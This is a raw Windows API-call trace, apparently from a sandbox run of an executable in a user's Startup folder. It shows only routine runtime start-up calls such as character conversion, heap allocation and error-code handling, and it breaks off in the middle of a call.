!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㸈ᒿ魴DĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0127.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x03\x14/Ð\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0127.120] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4eb448, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x61 [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.120] SetLastError (dwErrCode=0x0) [0127.120] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.121] GetLastError () returned 0x0 [0127.121] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] GetLastError () returned 0x0 [0127.123] SetLastError (dwErrCode=0x0) [0127.123] GetLastError () returned 0x0 [0127.123] SetLastError (dwErrCode=0x0) [0127.123] GetLastError () returned 0x0 [0127.123] SetLastError (dwErrCode=0x0) [0127.123] GetLastError () returned 0x0 [0127.123] SetLastError (dwErrCode=0x0) [0127.123] GetLastError () returned 0x0 [0127.123] SetLastError (dwErrCode=0x0) [0127.123] GetLastError () returned 0x0 [0127.123] SetLastError (dwErrCode=0x0) [0127.123] GetLastError () returned 0x0 [0127.123] SetLastError (dwErrCode=0x0) [0127.123] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.124] SetLastError (dwErrCode=0x0) [0127.124] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.125] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.125] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.125] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.125] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.125] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.125] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.125] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.125] GetLastError () returned 0x0 [0127.125] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.126] SetLastError (dwErrCode=0x0) [0127.126] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.127] SetLastError (dwErrCode=0x0) [0127.127] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.128] SetLastError (dwErrCode=0x0) [0127.128] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x6a) returned 0x3d19b0 [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.129] GetLastError () returned 0x0 [0127.129] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.130] SetLastError (dwErrCode=0x0) [0127.130] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.131] GetLastError () returned 0x0 [0127.131] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.132] SetLastError (dwErrCode=0x0) [0127.132] GetLastError () returned 0x0 [0127.133] SetLastError (dwErrCode=0x0) [0127.133] GetLastError () returned 0x0 [0127.133] SetLastError (dwErrCode=0x0) [0127.133] GetLastError () returned 0x0 [0127.133] SetLastError (dwErrCode=0x0) [0127.133] GetLastError () returned 0x0 [0127.133] SetLastError (dwErrCode=0x0) [0127.133] GetLastError () returned 0x0 [0127.133] SetLastError (dwErrCode=0x0) [0127.133] GetLastError () returned 0x0 [0127.133] SetLastError (dwErrCode=0x0) [0127.133] GetLastError () returned 0x0 [0127.133] SetLastError (dwErrCode=0x0) [0127.133] GetLastError () returned 0x0 [0127.133] SetLastError (dwErrCode=0x0) [0127.133] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetLastError () returned 0x0 [0127.134] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.135] SetLastError (dwErrCode=0x0) [0127.135] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.136] SetLastError (dwErrCode=0x0) [0127.136] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.162] GetLastError () returned 0x0 [0127.162] SetLastError (dwErrCode=0x0) [0127.163] GetLastError () returned 0x0 [0127.163] SetLastError (dwErrCode=0x0) [0127.163] GetLastError () returned 0x0 [0127.163] SetLastError (dwErrCode=0x0) [0127.163] GetLastError () returned 0x0 [0127.163] SetLastError (dwErrCode=0x0) [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x9c) returned 0x3d1a28 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1f) returned 0x3d1ad0 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x36) returned 0x3d1af8 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x37) returned 0x3d1b38 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x3c) returned 0x3d1b78 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x31) returned 0x3d1bc0 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x17) returned 0x3d1c00 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x24) returned 0x3d1c20 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x14) returned 0x3d1c50 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd) returned 0x3d1c70 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x25) returned 0x3d1c88 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x39) returned 0x3d1cb8 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x18) returned 0x3d1d00 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x17) returned 0x3d1d20 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xe) returned 0x3d1d40 [0127.163] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x69) returned 0x3d1d58 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x3e) returned 0x3d1dd0 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1b) returned 0x3d1e18 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1d) returned 0x3d1e40 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x48) returned 0x3d1e68 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x12) returned 0x3d1eb8 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x18) returned 0x3d1ed8 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1b) returned 0x3d1ef8 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x24) returned 0x3d1f20 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x29) returned 0x3d1f50 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1e) returned 0x3d1f88 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x41) returned 0x3d1fb0 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x17) returned 0x3d2000 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x14) returned 0x3d2020 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xf) returned 0x3d2040 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x16) returned 0x3d2058 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x2a) returned 0x3d2078 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x29) returned 0x3d20b0 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x15) returned 0x3d20e8 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1e) returned 0x3d2108 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x2a) returned 0x3d2130 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x12) returned 0x3d2168 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x18) returned 0x3d2188 [0127.164] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x46) returned 0x3d21a8 [0127.164] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d11f8 | out: hHeap=0x3d0000) returned 1 [0127.164] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x762e0000 [0127.164] GetProcAddress (hModule=0x762e0000, lpProcName="IsProcessorFeaturePresent") returned 0x762f5235 [0127.164] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0127.165] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x800) returned 0x3d21f8 [0127.166] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x80) returned 0x3d11f8 [0127.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fee0 | out: lpSystemTimeAsFileTime=0x18fee0*(dwLowDateTime=0xd0469e80, dwHighDateTime=0x1d595b2)) [0127.166] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x442a59) returned 0x0 [0127.166] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.167] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.167] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1280 [0127.167] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d12a0 [0127.167] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3d12b0 [0127.167] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0127.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d12f0 [0127.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1300 [0127.172] GetLastError () returned 0x0 [0127.172] SetLastError (dwErrCode=0x0) [0127.172] GetLastError () returned 0x0 [0127.172] SetLastError (dwErrCode=0x0) [0127.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd8) returned 0x3d1320 [0127.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x355) returned 0x3d1400 [0127.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0127.172] GetLastError () returned 0x0 [0127.172] SetLastError (dwErrCode=0x0) [0127.172] GetLastError () returned 0x0 [0127.172] SetLastError (dwErrCode=0x0) [0127.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd8) returned 0x3d1400 [0127.173] GetLastError () returned 0x0 [0127.173] SetLastError (dwErrCode=0x0) [0127.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x355) returned 0x3d2a00 [0127.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2a00 | out: hHeap=0x3d0000) returned 1 [0127.173] HeapFree (in: hHeap=0x3d0000, 